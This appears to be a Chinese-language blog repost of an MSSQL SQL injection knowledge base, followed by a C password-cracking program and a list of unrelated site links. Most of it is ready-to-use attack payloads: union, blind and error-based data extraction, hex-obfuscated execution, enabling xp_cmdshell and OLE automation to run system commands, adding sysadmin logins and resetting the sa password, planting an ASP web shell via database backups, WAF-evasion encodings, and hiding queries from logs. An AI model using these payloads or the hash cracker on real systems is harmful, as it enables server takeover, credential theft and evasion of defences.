MSSQL注射知識庫 v 1.0
預設資料庫
pubs | 不適用於MSSQL 2005 |
model | 適用於所有版本 |
msdb | 適用於所有版本 |
tempdb | 適用於所有版本 |
northwind | 適用於所有版本 |
information_schema | 適用於MSSQL 2000及更高版本 |
註釋掉查詢
下面可以用來註釋掉你注射後查詢的其餘部分:
/ * | C語言風格註釋 |
-- | SQL註釋 |
; 00% | 空位元組 |
示例:
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
測試版本:
@@VERSION
示例:
如果MSSQL的版本是2008
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
附:輸出結果包含Windows作業系統的版本。
資料庫憑據
資料庫表 | master..syslogins, master..sysprocesses |
列名 | name, loginame |
當前使用者 | user, system_user, suser_sname(), is_srvrolemember('sysadmin') |
資料庫憑據 | SELECT user, password FROM master.dbo.sysxlogins |
示例:
返回當前使用者:
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
檢查使用者是否為admin:
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
資料庫名稱
資料庫表 | master..sysdatabases |
列 | name |
當前前資料庫 | DB_NAME(5) |
示例:
SELECT **DB_NAME(5)**;
SELECT** name** FROM **master..sysdatabases**;
伺服器主機名
@@SERVERNAME
SERVERPROPERTY()
示例:
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');
附:
SERVERPROPERTY() 適用於MSSQL 2000及更高版本。
表和列
確定列數
ORDER BY n+1;
示例: 查詢語句:
SELECT username, password, permission FROM Users WHERE id = '1';
1' ORDER BY 1-- | True |
1' ORDER BY 2-- | True |
1' ORDER BY 3-- | True |
1' ORDER BY 4-- | False - 列數為3 |
-1' UNION SELECT 1,2,3-- | True |
附: 不斷遞增的列數,直到得到一個錯誤的響應。
GROUP BY / HAVING 獲取當前查詢的列名
示例: 給出的查詢:
SELECT username, password, permission FROM Users WHERE id = '1';
1' HAVING 1=1-- | 選擇列表中的列 'Users.username' 無效,因為該列沒有包含在聚合函式或 GROUP BY 子句中。 |
1' GROUP BY username HAVING 1=1-- | True |
選擇列表中的列 'Users.username' 無效,因為該列沒有包含在聚合函式或 GROUP BY 子句中。 | True |
1' GROUP BY username, password HAVING 1=1-- | 選擇列表中的列 'Users.username' 無效,因為該列沒有包含在聚合函式或 GROUP BY 子句中。 |
1' GROUP BY username, password, permission HAVING 1=1-- | 沒有錯誤 |
附:一旦匹配所有的列將返回正常請求頁面.
檢索表
我們可以從兩個不同的資料庫,information_schema.tables
或 from master..sysobjects
中檢索表。
聯合查詢:
UNION SELECT name FROM master..sysobjects WHERE xtype='U'
附:
U = 使用者表, V = 檢視 , X = 擴充套件儲存過程
盲注型別:
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
報錯型別:
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
檢索列
我們可以從兩個不同的資料庫,information_schema.columns
或 masters..syscolumns
中檢索列。
聯合查詢:
UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')
盲注型別:
AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'
報錯型別:
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))
一次性檢索多個表
下面的3個查詢將建立一個臨時表/列 並插入所有使用者定義的表,然後把表的內容進行轉儲並刪除
建立臨時表/列和插入資料:
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @[email protected]+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
轉儲內容:
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
刪除表:
AND 1=0; DROP TABLE TMP_DB;
MSSQL2005及更高版本中使用xml for path 函式作為連線符,可一次性查詢所有表。
SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('') SQL Server 2005+
附: 程式碼可以用十六進位制進行混淆
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
避免引用序號
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)
字串連線
SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';
條件語句
IF
CASE
示例:
IF 1=1 SELECT 'true' ELSE SELECT 'false';
SELECT CASE WHEN 1=1 THEN true ELSE false END;
附:IF不能在SELECT語句中使用。
時間延遲:
WAITFOR DELAY 'time_to_pass';
WAITFOR TIME 'time_to_execute';
示例:
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
OPENROWSET攻擊
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');
OPENROWSET 在MSSQL 2005及以上版本中預設是禁用的.
啟用OPENROWSET的語句:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
新增資料庫使用者
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin' 加為資料庫管理員
修改sa使用者密碼
EXEC sp_password NULL,'NewPassword','sa' (適用於SQL2000及以上)
alter login [sa] with password=N'NewPassword' (適用於SQL2005及以上)
;exec master.dbo.sp_password null,username,password;--
Get WebShell
差異備份: 建立差異資料庫備份需要有以前的完整資料庫備份。 如果選定的資料庫從未進行過備份,則請在建立任何差異備份之前,先執行完整資料庫備份。
方法1
backup database 庫名 to disk = 'c:\tmp.bak';create table [dbo].[test_tmp] ([cmd] [image]);insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);backup database 庫名 to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;
方法2 (減小體積)
alter database web1 set RECOVERY FULL;create table test_tmp (a image);backup log web1 to disk = 'c:\cmd' with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log web1 to disk = 'c:\shell.asp'--
*0x3C25657865637574652872657175657374282261222929253E =
sp_makewebtask 備份(需sa許可權)
exec sp_makewebtask 'c:\shell.asp',' select ''<%25execute(request("a"))%25>'' ';
注:sp_makewebtask儲存過程在MSSQL 2005及以上版本中預設是禁用的
啟用 sp_makewebtask儲存過程的語句:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;
系統命令執行
1. 使用xp_cmdshell儲存過程執行作業系統命令。
EXEC master.dbo.xp_cmdshell 'cmd';
xp_cmdshell
儲存過程在MSSQL 2005及以上版本中預設是禁用的.
啟用 xp_cmdshell
儲存過程的語句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
檢查是否xp_cmdshell是否載入,如果是,將繼續檢查是否處於活動狀態,然後繼續執行“DIR”命令並將結果插入到TMP_DB表中:
示例:
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
轉儲內容:
' UNION SELECT tbl FROM TMP_DB--
刪除表:
' DROP TABLE TMP_DB--
2.利用sp_OACREATE和sp_OAMethod呼叫控制元件執行系統命令:
DECLARE @execmd INT EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe [[/c]] ver >C:\inetpub\wwwroot\test.txt'
sp_oacreate
儲存過程在MSSQL 2005及以上版本中預設是禁用的.
啟用 sp_oacreate 儲存過程的語句:
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
附:SQL Server 提供了sp_OACREATE和sp_OAMethod函式,可以利用這兩個函式呼叫OLE控制元件,間接獲取一個shell。使用SP_OAcreate呼叫物件wscript。[email protected],[email protected]
3.JET 沙盒模式執行系統命令(Sandbox Mode)
在預設情況下Jet資料引擎不支援select shell("net user ")這樣的SQL語句,必須開啟JET引擎的沙盒模式才能執行命令,先利用xp_regwrite
儲存過程改寫登錄檔,然後利用OpenRowSet訪問一個ACCESS資料庫檔案,再執行執行命令的SQL語句。
啟用沙盒模式:
Windows 2003
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
Windows 2008 R2
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
Windows 2003 + SQL Server2000 沙盒模式執行命令的語句:
(Windows 2003 系統c:\windows\system32\ias\目錄下預設自帶了2個Access資料庫檔案ias.mdb/dnary.mdb,所以直接呼叫即可.)
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt ")');
Windows 2008 R2+SQL Server2005 沙盒模式執行命令的語句:
( Windows 2008 R2 預設無Access資料庫檔案,需要自己上傳,或者用UNC路徑載入檔案方能執行命令.)
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');
( SQL Server2008 預設未註冊microsoft.jet.oledb.4.0介面,所以無法利用沙盒模式執行系統命令.)
4.OPENROWSET呼叫xp_cmdshell 執行系統命令:
(在知道sa許可權帳號密碼情況下,db_owner或者public的資料庫許可權使用OPENROWSET呼叫xp_cmdshell 執行系統命令.)
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"');
小技巧:
使用 for xml 實現執行內容回顯:
for xml raw/auto | 適用於SQL Server 2000及以上版本 **(**附**:此法只能取首行資料,問題待解決.)** |
or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "set"'))for xml raw
or 1 in(SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "set"'))for xml auto
for xml path | 適用於SQL Server 2005及以上版本,雖然是一次性獲取所有內容,但是取出內容數量取決於表定義的長度. |
SELECT * FROM OPENROWSET('SQLOLEDB', 'trusted_connection=yes', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"') for xml path
SELECT * FROM OPENROWSET('SQLOLEDB', '192.168.1.117';'sa';'123456', 'SET FMTONLY OFF execute master..xp_cmdshell "ver"')for xml path
附:
回顯內容超過表定義長度將會出現內容為 "將截斷字串或二進位制資料。"的錯誤
5.SQL代理執行系統命令(SQLSERVERAGENT):
use msdb exec sp_delete_job null,'x';exec sp_add_job 'x';exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net start >C:\test.txt';exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x';
(SQLSERVERAGENT服務預設是禁用的,先利用xp_servicecontrol啟用SQLSERVERAGENT,然後建立一個SQL計劃任務馬上執行這個SQL任務實現命令執行。)
啟用SQLSERVERAGENT的語句:
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
其他獲取系統資訊的函式
1.歷遍目錄
exec master.dbo.xp_dirtree 'c:\'
2.獲取子目錄
exec master.dbo.xp_subdirs 'c:\'
3.列舉可用的系統分割槽
exec master.dbo.xp_availablemedia
4.判斷目錄或檔案是否存在
exec master..xp_fileexist 'c:\boot.ini'
SP_PASSWORD (隱藏查詢)
在查詢結束後追加sp_password,T-SQL日誌作為一項安全措施隱藏它。
SP_PASSWORD
Example:
' AND 1=1--sp_password
輸出:
-- 'sp_password的'在該事件文字中被發現。('sp_password' was found in the text of this event.)
-- 出於安全原因,該文字已被替換成註釋。( The text has been replaced with this comment for security reasons.)
- 這個方法不理解,望小夥伴們解答.
層疊查詢
( MSSQL支援 層疊查詢)
示例:
' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
模糊測試和混淆
允許中間字元
以下字元可以作為空格符。
示例:
S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;
附: 關鍵詞之間的百分比符號只在ASP(X)的Web應用程式中有效。
下面的字元也可用來避免空格。
22 "
28 (
29 )
5B [
5D ]
示例:
UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];
AND/OR可以使用中間符號:
01 - 20 範圍
21 !
2B +
2D -
2E .
5C \
7E ~
示例:
SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
附: 反斜槓似乎不適用於MSSQL 2000中.
編碼
編碼注射語句,有利於躲避WAF / IDS檢查。
URL編碼(URL Encoding) | SELECT %74able_%6eame FROM information_schema.tables; |
雙重URL編碼(Double URL Encoding) | SELECT %2574able_%256eame FROM information_schema.tables; |
Unicode編碼(Unicode Encoding) | SELECT %u0074able_%u6eame FROM information_schema.tables; |
無效的十六進位制編碼(Invalid Hex Encoding (ASP) | SELECT %tab%le_%na%me FROM information_schema.tables; |
十六進位制編碼(Hex Encoding) | ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);-- |
HTML實體(HTML Entities 待驗證) | %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B |
密碼雜湊
從0x0100密碼開始,0x 後的第一個位元組是一個常數,接下來的八個位元組是雜湊鹽,剩下的80個位元組是兩個雜湊,第一40個位元組是區分大小寫的密碼雜湊值,而第二個40位元組為大寫形式密碼雜湊值。
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457
密碼破解
可以利用Metasploit的JTR模組進行破解
http://www.rapid7.com/db/modules/auxiliary/analyze/jtr_mssql_fast
MSSQL 2000密碼破解
(此工具用於破解微軟的SQL Server 2000的密碼。)
#!cpp
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf("\n\n*** SQLCrack *** \n\n");
printf("C:\\>%s hash passwd-file\n\n",argv[0]);
printf("David Litchfield ([email protected])\n");
printf("24th June 2002\n");
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf("\nThere was an error opening the password file %s\n",argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf("\n\n%d",wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,"r");
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]="";
char pheader[8]="";
char pkey[12]="";
char pnorm[44]="";
char pucase[44]="";
char pucfirst[8]="";
char wttf[44]="";
char uwttf[100]="";
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
{
return printf("\nThe password hash is too short!\n");
}
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf("\nHeader\t\t: %s",pheader);
if(strlen(pheader)!=4)
return printf("%s",lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf("\nRand key\t: %s",pkey);
if(strlen(pkey)!=8)
return printf("%s",lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf("\nNormal\t\t: %s",pnorm);
if(strlen(pnorm)!=40)
return printf("%s",lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf("\nUpper Case\t: %s",pucase);
if(strlen(pucase)!=40)
return printf("%s",lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,"%x",&cmp);
}
else
{
return printf("The password hash has an invalid format!\n");
}
printf("\n\n Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf("FAILLLLLLL!!!");
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf("\nEnd of password file. Didn't find the password.\n");
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len --;
wp = &uwttf;
sscanf(pkey,"%x",&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 8;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 16;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key << 24;
t = t >> 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf("Error %x during CryptCreatHash!\n", GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf("Error %x during CryptHashData!\n", GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,"%x",&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We've found the password
printf("\nA MATCH!!! Password is %s\n",wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
PS:英文原文內容來源於:http://websec.ca/kb/sql_injection#MSSQL_Testing_Version
樓主在原內容基礎上進行了一些補充,並分享了一些在測試過程中發現的技巧.
參考來源: http://websec.ca/kb/sql_injection#MSSQL_Testing_Version http://safe.it168.com/ss/2007-09-10/200709100935438.shtml
相關文章
- MSSQL Server常用知識總結2012-09-14SQLServer
- SQLPro for MSSQL for Mac(MSSQL資料庫客戶端) v2020.682020-08-10SQLMac資料庫客戶端
- 知識雜庫2024-03-18
- PgSql 知識庫2024-03-28SQL
- 知網知識庫呼叫2017-09-05
- 搭建知識庫xwiki2018-01-06
- 打造“個人知識庫”2007-10-25
- 職業生涯1.0知識儲備中...day22020-12-21
- 企業級智慧客服知識庫重磅更新,釋出`v0.1.5`2024-03-18
- 爬知識星球,製作自己的知識倉庫2019-03-27
- 知識分享--資料庫2020-03-25資料庫
- 微軟系統知識庫2009-04-09微軟
- 企業安全知識庫2012-10-17
- 雲端計算知識庫2012-10-17
- 資訊優化知識庫2012-10-17優化
- Android小知識庫2016-03-14Android
- MySQL資料庫知識2024-09-22MySql資料庫
- Docker 初識 1.02020-05-19Docker
- 知識庫終極指南:為什麼您的企業需要知識庫?2023-11-01
- EMQ 文件 V1.0 V2.0 V3.02018-11-07MQ
- 【YashanDB知識庫】v$instance檢視中例項角色含義不明確2024-07-23
- 金融行業客戶運營知識庫:構建數字化知識庫2024-11-18行業
- MySQL資料庫基本知識2020-02-26MySql資料庫
- Java 資料庫知識整理2019-03-03Java資料庫
- 資料庫理論知識2022-06-14資料庫
- 協程庫基礎知識2018-04-29
- 資料庫基礎知識2024-09-22資料庫
- 電商行業客戶運營知識庫:構建數字化知識庫的探索2024-11-25行業
- SQL注射/SQL Injection漏洞2020-08-19SQL
- promise v1.0版本2018-12-29Promise
- ORACLE之常用FAQ V1.02007-11-30Oracle
- 基礎知識梳理~資料庫2019-12-14資料庫
- 資料庫安全知識介紹2019-04-01資料庫
- 資料庫基礎重要知識2018-09-14資料庫
- GEO資料庫基礎知識2018-12-21資料庫
- 文件知識庫規劃圖譜2017-10-17
- sqlite 資料庫 相關知識2017-07-08SQLite資料庫
- 應用現代化知識庫2012-10-17